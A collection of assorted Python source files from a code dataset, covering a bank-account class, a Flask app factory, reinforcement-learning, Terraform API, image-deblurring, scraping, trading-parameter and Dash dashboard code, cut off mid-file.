compte \"\"\"\n if numero is None:\n numero = input(\"saisir le num :\")\n self.__numero = numero\n self.__solde = 100\n #pas besoin de retour: c'est le role d'un constructeur\n #return {\"numero\": numero, \"solde\": 100}\n\n def afficher(self):\n \"\"\" afficher le compte\"\"\"\n print(\"Compte(numero:{}, solde:{})\".format(self.__numero, self.__solde))\n\n def crediter(self, somme):\n \"\"\"\n crediter la somme\n \"\"\"\n self.__solde += somme\n\n def debiter(self, somme):\n \"\"\"\n debiter la somme\n \"\"\"\n if somme < self.__solde:\n self.__solde -= somme\n else:\n print(\"découvert non autorisé\")\n\n def __get__numero(self):\n return self.__numero\n\n def __get__solde(self):\n return self.__solde\n\n numero = property(__get__numero, None, None, \"Le numero\")\n solde = property(__get__solde, None, None, \"Le solde\")\n\n\nif __name__ == \"__main__\":\n CT1 = Compte(12)\n print(\"numero :\", CT1.numero)\n #CT1.solde = 3000 # n'est pas autorise\n print(\"solde :\", CT1.solde)\n CT1.afficher()\n CT1.crediter(100)\n CT1.afficher()\n CT1.debiter(50)\n CT1.debiter(500)\n CT1.afficher()","sub_path":"projets/objets/comptes_encapsulation.py","file_name":"comptes_encapsulation.py","file_ext":"py","file_size_in_byte":1431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"611232503","text":"import logging\nimport os\nfrom logging.handlers import RotatingFileHandler\nfrom dotenv import load_dotenv\nfrom flask import Flask\nfrom flask_cors import CORS\nfrom flask_migrate import Migrate\nfrom flask_sqlalchemy import SQLAlchemy\nfrom werkzeug.utils import import_string\n\n\nload_dotenv()\n\ndb = SQLAlchemy()\nmigrate = Migrate()\n\n\ndef create_app(config=None):\n app = Flask(__name__)\n\n @app.route(\"/\")\n def hello_world():\n return \"If you arent seing this, it means the setup went well !\"\n\n if config is None:\n cfg = import_string(os.getenv(\"APP_SETTINGS\"))\n app.config.from_object(cfg())\n\n app.config.from_object(config)\n app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\n db.init_app(app)\n migrate.init_app(app, db)\n\n # Initialize models\n from .businesses.models import Business, BusinessHour, Category, Address\n\n # Initialize API\n from .businesses.blueprints import blueprint as business_blueprint\n app.register_blueprint(business_blueprint)\n\n if not app.debug:\n # Initliaze errors page\n\n if not os.path.exists('logs'):\n os.mkdir('logs')\n file_handler = RotatingFileHandler('logs/baobab.log', maxBytes=10240,\n backupCount=10)\n file_handler.setFormatter(logging.Formatter(\n '%(asctime)s %(levelname)s: %(message)s [in %(pathname)s:%(lineno)d]'))\n file_handler.setLevel(logging.INFO)\n app.logger.addHandler(file_handler)\n\n app.logger.setLevel(logging.INFO)\n app.logger.info('Baobab startup')\n\n\n\n # enable CORS\n CORS(app, resources={r'/*': {'origins': '*'}})\n\n return app\n","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"73032928","text":"\"\"\"ModelBasedAlgorithm.\"\"\"\nimport torch\n\nfrom .abstract_mb_algorithm import AbstractMBAlgorithm\nfrom .derived_algorithm import DerivedAlgorithm\n\n\nclass Dyna(DerivedAlgorithm, AbstractMBAlgorithm):\n \"\"\"Dyna Algorithm.\"\"\"\n\n def __init__(\n self,\n base_algorithm,\n dynamical_model,\n reward_model,\n num_steps=1,\n num_samples=15,\n termination_model=None,\n only_sim=False,\n *args,\n **kwargs,\n ):\n DerivedAlgorithm.__init__(self, base_algorithm=base_algorithm)\n AbstractMBAlgorithm.__init__(\n self,\n dynamical_model,\n reward_model,\n num_steps=num_steps,\n num_samples=num_samples,\n termination_model=termination_model,\n )\n self.base_algorithm.criterion = type(self.base_algorithm.criterion)(\n reduction=\"mean\"\n )\n self.only_sim = only_sim\n\n def forward(self, observation):\n \"\"\"Rollout model and call base algorithm with transitions.\"\"\"\n real_loss = self.base_algorithm.forward(observation)\n with torch.no_grad():\n state = observation.state[..., 0, :]\n sim_observation = self.simulate(state, self.policy, stack_obs=True)\n sim_loss = self.base_algorithm.forward(sim_observation)\n if self.only_sim:\n return sim_loss\n return real_loss + sim_loss\n","sub_path":"rllib/algorithms/dyna.py","file_name":"dyna.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"175984789","text":"#!/usr/bin/python3\ndef weight_average(my_list=[]):\n if len(my_list) > 0:\n total = 0\n weight = 0\n for i in my_list:\n total += (i[0] * i[1])\n weight += i[1]\n return total/weight\n return 0\n","sub_path":"0x04-python-more_data_structures/100-weight_average.py","file_name":"100-weight_average.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"62175710","text":"import requests\nimport os\nfrom jinja2 import Template\nfrom functools import partial\nimport urllib\nimport json\nimport sys\nimport logging\n\n\nfrom tfe.core.session import TFESession\nfrom tfe.core.exception import RaisesTFEException, TFESessionException\nfrom tfe.core.tfe import TFEObject, Validator\n\n\n\nclass Run(TFEObject):\n\n _base_dir = os.path.dirname(__file__)\n json_template = \"\"\n fields = [\n \"run_message\",\n \"workspace_id\",\n \"configuration_version\"\n ]\n\n def __init__(self, run_id=None, **kwargs):\n super()\n self.run_id = run_id\n self.workspace_id = None\n self.configuration_version = None\n \n Run.validator = type(\"{0}Validator\".format(self.__class__.__name__), \n (Validator, ), \n dict(_fields=self.__class__.fields))()\n\n \n logging.basicConfig(\n filename=self.logfile, \n format='%(asctime)-15s com.happypathway.tfe.%(name)s: %(message)s'\n )\n \n Run.logger = logging.getLogger(self.__class__.__name__)\n for k, v in kwargs.items():\n setattr(self, k, v)\n\n with open(\"{0}/templates/json/run.json.j2\".format(self._base_dir)) as vars_template:\n Run.json_template = Template(vars_template.read())\n\n\n @property\n def create_url(self):\n return \"{0}/api/v2/runs\".format(\n self.base_url\n )\n \n @property\n def read_url(self):\n return \"{0}/api/v2/runs/{1}\".format(\n self.base_url,\n self.run_id\n )\n\n @property\n def list_url(self):\n return \"{0}/api/v2/workspaces/{1}/runs\".format(\n self.base_url,\n self.workspace_id\n )\n\n @property\n def status(self):\n url = \"{0}/api/v2/runs/{1}\".format(\n self.base_url,\n self.run_id\n )\n try:\n resp = self.session.get(url)\n return resp.json().get(\"data\").get(\"attributes\").get(\"status\")\n except Exception as e:\n self.logger.error(str(e))\n return None\n\n @property\n def details(self):\n url = \"{0}/api/v2/runs/{1}?include=configuration_version.ingress_attributes,created_by\".format(\n self.base_url,\n self.run_id\n )\n try:\n resp = self.session.get(url)\n return resp.json()\n except Exception as e:\n self.logger.error(str(e))\n return None\n \n def apply(self):\n # POST /runs/:run_id/actions/apply\n resp = self.session.post(\n \"{0}/api/v2/runs/{1}/actions/apply\".format(\n self.base_url,\n self.run_id\n )\n )\n resp.raise_for_status()\n return resp.json()\n\n\n def discard(self):\n # POST /runs/:run_id/actions/discard\n resp = self.session.post(\n \"{0}/api/v2/runs/{1}/actions/discard\".format(\n self.base_url,\n self.run_id\n )\n )\n return resp.status_code\n\n\n def cancel(self):\n # POST /runs/:run_id/actions/cancel\n resp = self.session.post(\n \"{0}/api/v2/runs/{1}/actions/cancel\".format(\n self.base_url,\n self.run_id\n )\n )\n return resp.status_code\n\n\n def force_cancel(self):\n # POST /runs/:run_id/actions/force-cancel\n resp = self.session.post(\n \"{0}/api/v2/runs/{1}/actions/force-cancel\".format(\n self.base_url,\n self.run_id\n )\n )\n return resp.status_code\n\n def destroy(self):\n resp = self.session.post(\n \"{0}/api/v2/runs\".format(\n self.base_url\n ),\n data=json.dumps(self.json_template.render(is_destroy=True))\n )\n return resp.status_code","sub_path":"tfe/core/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":3924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"652572603","text":"# 维纳滤波\n# https://blog.csdn.net/bluecol/article/details/46242355\n# http://cynhard.com/2018/09/11/LA-Complex-Vectors-and-Matrices/#%E5%A4%8D%E6%95%B0%E7%9A%84%E8%BF%90%E7%AE%97\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport cv2\nimport math\n\n# https://blog.csdn.net/qq_29769263/article/details/85330933\n# https://blog.csdn.net/bingbingxie1/article/details/79398601\ndef get_motion_dsf(image_size, motion_angle, motion_dis):\n PSF = np.zeros(image_size)\n x_center = (image_size[0] - 1) / 2\n y_center = (image_size[1] - 1) / 2\n\n sin_val = math.sin(motion_angle * math.pi / 180)\n cos_val = math.cos(motion_angle * math.pi / 180)\n\n for i in range(motion_dis):\n x_offset = round(sin_val * i)\n y_offset = round(cos_val * i)\n PSF[int(x_center - x_offset), int(y_center + y_offset)] = 1\n\n return PSF / np.sum(PSF)\n\n\n# 依据的原理是运动模糊实际上就等于一个滤波(特定方向值为1的卷积核)\n# 同时空间域的卷积等于频域的乘积。这一切的目的当然是为了加快速度\ndef make_blurred(input, PSF, eps):\n # 原图傅里叶变换\n input_fft = np.fft.fft2(input)\n # 退化模型傅里叶变换,顺便加点料\n PSF_fft = np.fft.fft2(PSF) + eps\n # 相乘再反傅里叶回去\n blurred = np.fft.ifft2(input_fft * PSF_fft)\n blurred = np.abs(np.fft.fftshift(blurred))\n return blurred\n\n\ndef inverse(input, PSF, eps):\n input_fft = np.fft.fft2(input)\n PSF_fft = np.fft.fft2(PSF) + eps\n result = np.fft.ifft2(input_fft / PSF_fft)\n result = np.abs(np.fft.fftshift(result))\n return result\n\n\ndef wiener(input,PSF,eps,K=0.01): #维纳滤波,K=0.01\n input_fft = np.fft.fft2(input)\n PSF_fft = np.fft.fft2(PSF) +eps\n PSF_fft_1 = np.conj(PSF_fft) /(np.abs(PSF_fft)**2 + K)\n result = np.fft.ifft2(input_fft * PSF_fft_1)\n result = np.abs(np.fft.fftshift(result))\n return result\n\n\n\nif __name__ == \"__main__\":\n image = cv2.imread('./img/18.PNG') / 255\n cv2.imshow('origin', image)\n # image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) \n img_h = image.shape[0]\n img_w = image.shape[1]\n \n # 先模拟运动模糊\n PSF = get_motion_dsf((img_h, img_w), motion_angle=180, motion_dis=10)\n # blurred = np.abs(make_blurred(image, PSF, 1e-3))\n # plt.gray()\n # plt.imshow(blurred)\n # plt.show()\n\n # # 加点随机的噪声\n # blurred_noisy = blurred + 0.1 * blurred.std() * np.random.standard_normal(blurred.shape)\n # plt.imshow(blurred_noisy)\n # plt.show()\n\n # # 对添加了随机噪声的图像进行逆滤波,只要眼神正常就可以发现,参杂了噪声的情况下\n # # 反卷积会把噪声强烈放大,导致逆滤波失败\n # result = inverse(blurred_noisy, PSF, 1e-3)\n # plt.imshow(result)\n # plt.show()\n\n # 对添加了随机噪声的图像进行维纳滤波\n # result = wiener(image, PSF, 0)\n # plt.gray()\n # plt.imshow(result)\n # plt.show()\n\n\n # 三通道尝试进行 motion_process, 失败\n result = []\n for d in range(image.shape[2]):\n rr = image[:, :, d]\n ss = wiener(rr, PSF, 0, K=0.01)\n result.append(ss)\n result = np.dstack(result)\n result[result < 0] = 0\n result[result > 1] = 1\n\n cv2.imshow('image', result)\n cv2.waitKey(0)\n \n\n \n # 滤波卷积核的形式来进行运动模糊,因为空间域的卷积等于频域的乘积\n # size = 40\n # #创建一个卷积核\n # kernel = np.zeros((size,size))\n # # 列对应上下模糊,所以这里是上下模糊\n # kernel[:, int((size-1) / 2.0)] = np.ones(size)\n # # 取平均保证亮度不会增强很多,核的中心一列为 0.067,其他的均为 0\n # kernel = kernel / size\n # result = []\n # for d in range(image.shape[2]):\n # rr = image[:, :, d]\n # ss = cv2.filter2D(rr, -1, kernel)\n # result.append(ss)\n # result = np.dstack(result)\n # result[result < 0] = 0\n # result[result > 255] = 255\n # plt.imshow(result)\n # plt.show()","sub_path":"python/Image-Processing/11.py","file_name":"11.py","file_ext":"py","file_size_in_byte":4027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"296050558","text":"\"\"\"\nUsing Wikipedia data to construct and explore a network of nation states, based \non the presence (and length) of international land borders. The network graph \nis undirected; it contains no loops and no parallel edges. \n\"\"\"\n\nimport networkx as nx\n\nborders = nx.Graph()\nnot_borders1 = nx.DiGraph()\nnot_borders2 = nx.MultiGraph()\n\nborders.add_node(\"Zimbabwe\")\nborders.add_nodes_from([\"Lugandon\", \"Zambia\", \"Portugal\", \"Kuwait\", \"Colombia\"])\nborders.remove_node(\"Lugandon\")\nborders.add_edge(\"Zambia\", \"Zimbabwe\")\nborders.add_edges_from([(\"Uganda\", \"Rwanda\"), (\"Uganda\", \"Kenya\"),\n (\"Uganda\", \"South Sudan\"), (\"Uganda\", \"Tanzania\"),\n (\"Uganda\", \"Democratic Republic of the Congo\")])\n\nprint(borders.nodes())\n","sub_path":"network_data/network_analysis.py","file_name":"network_analysis.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"196277890","text":"from lxml import etree\nimport lxml.html as html\n\n\npage = html.parse(\"http://wellcomebookprize.org/past-prizes/2015\").getroot()\nwinner = page.find_class(\"book-highlight book-preview book-winner\").pop()\n\nwinner_author = winner.xpath('//*[@id=\"main\"]/div/div[2]/h2/a').pop()\nprint(\"*******THE WINNER*******\\n\", winner_author.text_content())\nwinner_book = winner.xpath('//*[@id=\"main\"]/div/div[2]/p[1]/a').pop()\nprint(\"By \", winner_book.text_content())\nwinner_publisher = winner.xpath('//*[@id=\"main\"]/div/div[2]/p[3]').pop()\nprint(winner_publisher.text_content().strip())\n\n\ntag = page.find_class('list-books').pop()\nurl_list = []\nfor i in tag.iterlinks():\n if i[2].find('/book/') != -1:\n url_list.append(i[2])\n\nurl_list.remove('/book/iceberg')\n\nprint(\"*******SHORTLISTED BOOKS*******\")\nfor url in url_list:\n page1 = html.parse('http://wellcomebookprize.org/{}'.format(url))\n root1 = page1.getroot()\n print(root1.find_class('title').pop().text_content())\n print(root1.find_class('author').pop().text_content())\n print(root1.find_class('publisher').pop().text_content())\n\n\ntitles = root1.find_class('title').pop().text_content()\nauthors = root1.find_class('author').pop().text_content()\npublishers = root1.find_class('publisher').pop().text_content()\nroot_elem = etree.Element(\"books\")\nroot = etree.Element(\"books\")\n\nfor i in range(len(titles)):\n book = etree.SubElement(root, \"book\")\n etree.SubElement(book, \"title\").text = titles[i]\n etree.SubElement(book, \"author\").text = authors[i]\n etree.SubElement(book, \"publisher\").text = publishers[i]\noutput = etree.tostring(root, pretty_print=True, encoding='UTF-8')\nf1 = open('output.xml', 'w')\nf1.write(output.decode('utf-8'))\nprint(output)\nf1.close()\n","sub_path":"Bazanova_Lyubov/Bazanova_Lyubov4.py","file_name":"Bazanova_Lyubov4.py","file_ext":"py","file_size_in_byte":1731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"105111134","text":"from ...Parameters import Parameters\n\nclass ParametersDEDS(Parameters):\n\n\n\tdef __init__(self):\n\n\t\tsuper().__init__()\n\n\t\tself.short_after1 = 0\n\t\tself.short_after2 = 0.1\n\t\tself.firstEntryPct = 0.5\n\t\tself.exit_target = 0.3\n\t\tself.exit_stop = 0.3\n\n\n\tdef setAlgoParameters(\tself, \n\t\t\t\t\t\t\tshort_after1 = 0, \n\t\t\t\t\t\t\tshort_after2 = 0.1,\n\t\t\t\t\t\t\tfirstEntryPct = 0.5,\n\t\t\t\t\t\t\texit_target = 0.3, \n\t\t\t\t\t\t\texit_stop = 0.3):\n\n\t\tself.short_after1 = short_after1\n\t\tself.short_after2 = short_after2\n\t\tself.firstEntryPct = firstEntryPct\n\t\tself.exit_target = exit_target\n\t\tself.exit_stop = exit_stop\n\n\n\tdef __repr__(self):\n\t\ts='PARÂMETROS PARA ALGORITMO DO TIPO DOUBLE ENTRY DOUBLE STOP\\n'\n\t\ts = s + 'FILTERING PARAMETERS\\n'\n\t\ts = s + f\"prevol_threshold: {self.prevol_threshold}\\n\"\n\t\ts = s + f\"open_dolar_threshold: {self.open_dolar_threshold}\\n\"\n\t\ts = s + f\"gap_threshold: {self.gap_threshold}\\n\"\n\t\ts = s + f\"F_low_threshold: {self.F_low_threshold}\\n\"\n\t\ts = s + f\"F_high_threshold: {self.F_high_threshold}\\n\"\n\t\ts = s + f\"\\n\"\n\t\ts = s + f'TRADING PARAMETERS\\n'\n\t\ts = s + f\"short_after1: {self.short_after1}\\n\"\n\t\ts = s + f\"short_after2: {self.short_after2}\\n\"\n\t\ts = s + f\"firstEntryPct: {self.firstEntryPct}\\n\"\n\t\ts = s + f\"exit_target: {self.exit_target}\\n\"\n\t\ts = s + f\"exit_stop: {self.exit_stop}\\n\"\n\t\ts = s + f\"\\n\"\n\t\ts = s + f'SIMULATION PARAMETERS\\n'\n\t\ts = s + f\"start_money: {self.start_money}\\n\"\n\t\ts = s + f\"allocation: {self.allocation}\\n\"\n\t\ts = s + f\"locate_fee: {self.locate_fee}\\n\"\n\t\ts = s + f\"commission: {self.commission}\\n\"\t\t\n\n\t\treturn s","sub_path":"pynnystock/strategies/doubleentriesdoublestops/ParametersDEDS.py","file_name":"ParametersDEDS.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"69528025","text":"import numpy as np\nimport h5py\nimport pandas as pd\nimport scipy.stats as ss\n\ndf = pd.read_hdf('results2.h5')\nauditory = df.xs((2),level=('block'))\nauditory = auditory.divide(0.001) # turn into spikes/seconds\n#auditory_stats = auditory.T.set_index(pd.MultiIndex.from_tuples(tuple(map(lambda column_index: ('pre' if column_index < 1500 else 'post', 1510 < column_index < 1575), auditory.columns)))).T#.groupby(level=(0, 1, 2, 3)).mean()\npre_a_stats = auditory.loc[:,0:1499].mean(axis=1)\npost_a_stats = auditory.loc[:,1509:1574].mean(axis=1)\na_stats=pd.DataFrame(dict(pre = pre, post = post))\na_result = a_stats.groupby(level=(0, 1, 2, 3)).apply(ss.ranksums(a_stats[pre], a_stats[post]))\n\n\nvisual = df.xs((3),level=('block'))\nvisual = visual.divide(0.001)\npre_v_stats = visual.loc[:,0:1499].mean(axis=1)\npost_v_stats = visual.loc[:,1509:1574].mean(axis=1)\nv_stats=pd.DataFrame(dict(pre = pre, post = post))\nv_result = v_stats.groupby(level=(0, 1, 2, 3))","sub_path":"loading_results.py","file_name":"loading_results.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"202410546","text":"import pandas as pd\r\nimport numpy as np\r\nimport dash\r\nimport dash_core_components as dcc\r\nimport dash_html_components as html\r\nfrom dash.dependencies import Input, Output\r\nimport dash_table\r\nimport plotly.graph_objs as go\r\nfrom math import ceil\r\nfrom dash.exceptions import PreventUpdate\r\nimport pathlib\r\n\r\n# Sets the relative path\r\nPATH = pathlib.Path(__file__).parent\r\nDATA_PATH = PATH.joinpath(\"data\").resolve()\r\n\r\n# Load the data\r\ndf = pd.read_csv(DATA_PATH.joinpath(\"UN_demographic_data.csv\"))\r\ndf_pp = pd.read_csv(DATA_PATH.joinpath(\"UN_population_pyramid_data.csv\"))\r\nregion_df = pd.read_csv(DATA_PATH.joinpath(\"Continent Codes.csv\"), encoding='latin1')\r\n\r\n# Defines functions to create traces and layouts\r\ncols = [col for col in region_df.columns]\r\nregion_df = region_df.fillna(\"nan\")\r\nfor i in cols:\r\n continent_dict={i:region_df[i].values.tolist() for i in cols}\r\nfor i in cols:\r\n continent_dict[i]=[val for val in continent_dict[i] if val!=\"nan\"]\r\n\r\ninput_values=[\"{}-{}\".format(i, i+5) for i in range(1950,2100, 5)]\r\n\r\ndef create_trace(x, y1, y2, area='World',startdate=1950, enddate=2100):\r\n trace1=[\r\n {\r\n 'x':df[(df['Country or Area']==area) & (df['Year']>=startdate) & (df['Year']<=enddate)][x],\r\n 'y':df[(df['Country or Area']==area) & (df['Year']>=startdate) & (df['Year']<=enddate)][y1],\r\n 'mode':'lines',\r\n 'name':area,\r\n 'showlegend':False,\r\n 'hovertemplate':y1+': %{y:.1f}',\r\n 'marker':{'opacity':0.8},\r\n },\r\n {\r\n 'x':df[(df['Country or Area']==area) & (df['Year']>=startdate) & (df['Year']<=enddate)][x],\r\n 'y':df[(df['Country or Area']==area) & (df['Year']>=startdate) & (df['Year']<=enddate)][y2],\r\n 'mode':'lines',\r\n 'name':area,\r\n 'showlegend':False,\r\n 'hovertemplate':y2+': %{y:.1f}',\r\n 'marker':{'opacity':0.8, 'color':'#00C15D'},\r\n 'yaxis':'y2'\r\n }\r\n ]\r\n return trace1\r\n\r\ndef create_layout(y1, y2, startdate=1950, enddate=2100):\r\n axis_font_style={'size':11, 'family':'Franklin Gothic Medium', 'color':'#999B9A'}\r\n hover_font_style={'size':11, 'family':'Franklin Gothic Medium', 'color':'rgb(255,255,255)'}\r\n layout1= dict(\r\n xaxis={'title':{\r\n 'text':'Year',\r\n }, 'range':[startdate,enddate], 'gridcolor': '#3a3a3b', 'gridwidth':0.1},\r\n yaxis={'title':{\r\n 'text':y1,\r\n 'automargin':True,\r\n }, 'gridcolor': '#3a3a3b', 'gridwidth':0.1,\r\n },\r\n yaxis2={'title':{\r\n 'text':y2,\r\n }, 'gridcolor': '#3a3a3b', 'gridwidth':0.1, \r\n 'side':'right', \r\n 'overlaying':'y', \r\n 'automargin':True},\r\n font=axis_font_style,\r\n hoverlabel={'font':hover_font_style},\r\n paper_bgcolor='#2e2e30',\r\n plot_bgcolor='#2e2e30',\r\n margin={'l':40,'b':40,'t':10,'r':20}\r\n )\r\n return layout1\r\n\r\ndef pyramid_trace(area='World', year=\"2015-2020\"):\r\n df_pp_new=df_pp[(df_pp['Country or Area']==area) & (df_pp['Year(s)']==year)]\r\n trace=[\r\n {\r\n 'x': df_pp_new['percent_males']*-1, \r\n 'y': df_pp_new['Age'], \r\n 'type': 'bar', \r\n 'name':'Males', \r\n 'orientation':'h',\r\n 'showlegend':False,\r\n 'hovertemplate':'%{text}%',\r\n 'text':['{0:.1f}'.format(i*-1) for i in df_pp_new['percent_males']*-1],\r\n 'marker':{'opacity':0.8},\r\n },\r\n {\r\n 'x': df_pp_new['percent_females'], \r\n 'y': df_pp_new['Age'], \r\n 'type': 'bar', \r\n 'name':'Females', \r\n 'orientation':'h',\r\n 'showlegend':False,\r\n 'hovertemplate':'%{x: 0.1f}%',\r\n 'marker':{'opacity':0.8, 'color':'#00C15D'}\r\n }\r\n ]\r\n return trace\r\n\r\ndef pyramid_layout(area='World', year=\"2015-2020\"):\r\n df_pp_new=df_pp[(df_pp['Country or Area']==area) & (df_pp['Year(s)']==year)]\r\n axis_font_style={'size':11, 'family':'Franklin Gothic Medium', 'color':'#999B9A'}\r\n hover_font_style={'size':11, 'family':'Franklin Gothic Medium', 'color':'rgb(255,255,255)'}\r\n range_scope=max(int(df_pp_new['percent_males'].max()*-1), int(df_pp_new['percent_females'].max()+1))\r\n tickvals=[i for i in range(range_scope*-1, range_scope+1)]\r\n ticktext=[abs(i) for i in tickvals]\r\n layout=dict(\r\n xaxis={\r\n 'title':{\r\n 'text':'Percent',\r\n },\r\n 'range':[\r\n max(df_pp_new['percent_males'].max().astype(int)+1, df_pp_new['percent_females'].max().astype(int)+1)*-1,\r\n max(df_pp_new['percent_females'].max().astype(int)+1 ,df_pp_new['percent_females'].max().astype(int)+1)\r\n ],\r\n 'tickmode':'array',\r\n 'tickvals': tickvals, \r\n 'ticktext': ticktext,\r\n 'gridcolor': '#3a3a3b', 'gridwidth':0.1\r\n },\r\n yaxis={\r\n 'title':{\r\n 'text':'Age',\r\n }\r\n },\r\n barmode='overlay',\r\n font=axis_font_style,\r\n hoverlabel={'font':hover_font_style},\r\n margin={'l':40, 'b':40, 't':10, 'r':10},\r\n bargap=0.1,\r\n paper_bgcolor='#2e2e30',\r\n plot_bgcolor='#2e2e30',\r\n annotations=[\r\n dict(\r\n x= max([i for i in range(int(df_pp_new['percent_males'].max()*-1), int(df_pp_new['percent_females'].max()+1))]),\r\n y=100,\r\n text=year,\r\n xanchor='right',\r\n yanchor='top',\r\n showarrow=False,\r\n font=dict(\r\n color='#38b3d9',\r\n family='Franklin Gothic Medium',\r\n size=12\r\n )\r\n )\r\n ]\r\n\r\n )\r\n return layout \r\n\r\ndef create_table(area, year_value):\r\n test_df=df[(df['Country or Area']==area) & (df['Year(s)']==year_value)][['Total Population', 'Population Change (%)','Total Fertility Rate', 'Life Expectancy at Birth', 'Infant Mortality Rate', 'Net Migration Rate', 'Sex Ratio at Birth']].copy()\r\n\r\n pp_test = df_pp[(df_pp['Country or Area']==area) & (df_pp['Year(s)']==year_value)].copy()\r\n\r\n pp_test['percent_all']=pp_test['percent_males']+pp_test['percent_females']\r\n pp_test['age_group']=pd.cut(pp_test['Age'], [0, 10, 60, 100], labels=[\"<15\", \"15-64\", \"65+\"], include_lowest=True)\r\n pp_test2=pp_test.groupby(['age_group'])['percent_all'].sum().reset_index()\r\n test_df['Youth Dependency Ratio']=round(pp_test2.iloc[0,1]/pp_test2.iloc[1,1]*100, 2)\r\n test_df['Old Age Dependency Ratio']=round(pp_test2.iloc[2,1]/pp_test2.iloc[1,1]*100, 2)\r\n test_df = test_df.rename(columns={'Total Population':'Total Population (in 1000s)'})\r\n test_df = test_df.T.reset_index()\r\n test_df.columns = [area,'Value']\r\n\r\n return test_df\r\n\r\ndef create_map(country_value=None):\r\n temp_df=df.groupby('Country or Area').head(1)\r\n columns = [i for i in temp_df.columns]\r\n vals = ['Taiwan', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 'TWN', 0]\r\n data = dict(zip(columns,vals))\r\n taiwan = pd.DataFrame(data, index=[0])\r\n temp_df=temp_df.append(taiwan)\r\n\r\n if country_value==\"World\":\r\n temp_df['shade']=1\r\n else:\r\n temp_df['shade']=np.nan\r\n if country_value in list(continent_dict.keys()):\r\n temp_df.loc[temp_df['Country or Area'].isin(continent_dict[country_value]), 'shade']=1\r\n else:\r\n temp_df.loc[temp_df['Country or Area']==country_value, 'shade']=1\r\n temp_df['shade']=temp_df['shade'].fillna(-100)\r\n trace=[go.Choropleth(\r\n locations=temp_df['iso_alpha'],\r\n name=\"Country or Area\",\r\n z=temp_df['shade'],\r\n text=temp_df['Country or Area'],\r\n hovertemplate=\"%{text}\",\r\n autocolorscale=False,\r\n colorscale=[[0, \"gray\"],[0.1, '#38b3d9'],[1, '#38b3d9']],\r\n showscale=False,\r\n marker_line_width=0.5,\r\n unselected={'marker':{'opacity': 0.3}}\r\n )\r\n ]\r\n return trace\r\n\r\ndef map_layout():\r\n hover_font_style={'size':11, 'family':'Franklin Gothic Medium', 'color':'rgb(255,255,255)'}\r\n layout=dict(\r\n geo={'showframe':False,\r\n 'showcoastlines':False,\r\n 'projection':{'type':'miller'},\r\n 'showland':False,\r\n 'showcountries':True,\r\n 'visible':True,\r\n 'countrycolor':'#2e2e30',\r\n 'showocean':True,\r\n 'oceancolor':'#2e2e30',\r\n 'lataxis':{'range':[-40, 90]}},\r\n margin= {'l':0, 'b':0, 't':0, 'r':0},\r\n paper_bgcolor='#2e2e30',\r\n plot_bgcolor='#2e2e30',\r\n hoverlabel={'font':hover_font_style}\r\n )\r\n return layout\r\n######################################################\r\n\r\n# Create traces, layouts, and styling\r\ntrace1=create_trace('Year', 'Life Expectancy at Birth', 'Infant Mortality Rate')\r\nlayout1=create_layout('Life Expectancy at Birth', 'Infant Mortality Rate')\r\n\r\ntrace2=create_trace('Year', 'Total Population', 'Population Change (%)')\r\nlayout2=create_layout('Total Population', 'Population Change (%)')\r\n\r\ntrace3=pyramid_trace()\r\nlayout3=pyramid_layout()\r\n\r\ntrace4=create_trace('Year', 'Total Fertility Rate', 'Mean Age at Birth')\r\nlayout4=create_layout('Total Fertility Rate', 'Mean Age at Birth')\r\n\r\ntrace5=create_trace('Year', 'Net Migrants', 'Net Migration Rate')\r\nlayout5=create_layout('Net Migrants', 'Net Migration Rate')\r\n\r\ntable = create_table(\"World\", \"2015-2020\")\r\n\r\ntrace_map = create_map('World')\r\nlayout_map= map_layout()\r\n\r\ntrace1245_style = {'marginLeft':15, 'marginRight':15}\r\ntrace3_style = {'marginLeft':15}\r\n\r\ntrace_dimensions = {'height':300, 'width':300}\r\n##########################################################\r\n\r\n# Creates app\r\napp = dash.Dash(__name__, external_stylesheets=['https://codepen.io/jmolitoris/pen/BaNpwVy.css'])\r\n\r\napp.layout = html.Div([\r\n html.Div([\r\n html.Div([\r\n html.Div([\r\n html.H1(children = \"World Demographic Profiles\", \r\n style={\r\n 'fontSize':26,\r\n 'font-family':'Franklin Gothic Medium', \r\n 'font-weight':'normal',\r\n 'marginLeft':15,\r\n 'marginTop': 10},\r\n className='four columns'\r\n ),\r\n\r\n html.Div([\r\n html.H1(children=\"\", className='one columns')\r\n ]),\r\n\r\n\r\n html.Div([\r\n dcc.Markdown(children='''\r\n *Use this menu to view data for a specific country or region*\r\n ''')\r\n ], className='two columns', \r\n style={'fontSize':11,\r\n 'font-family':'Franklin Gothic Medium',\r\n 'fontWeight':'normal',\r\n 'marginTop':5,\r\n 'color':'#a1a1a1'\r\n }\r\n ),\r\n\r\n html.Div([\r\n dcc.Dropdown(\r\n id='dropdown',\r\n options=[\r\n {'label':i, 'value':i} for i in df['Country or Area'].unique()\r\n ],\r\n multi=False,\r\n value='World',\r\n placeholder='Select population...',\r\n style={'backgroundColor': '#a1e9ff'\r\n }\r\n )\r\n ], className='three columns', \r\n style={\r\n 'font-family':'Franklin Gothic Medium',\r\n 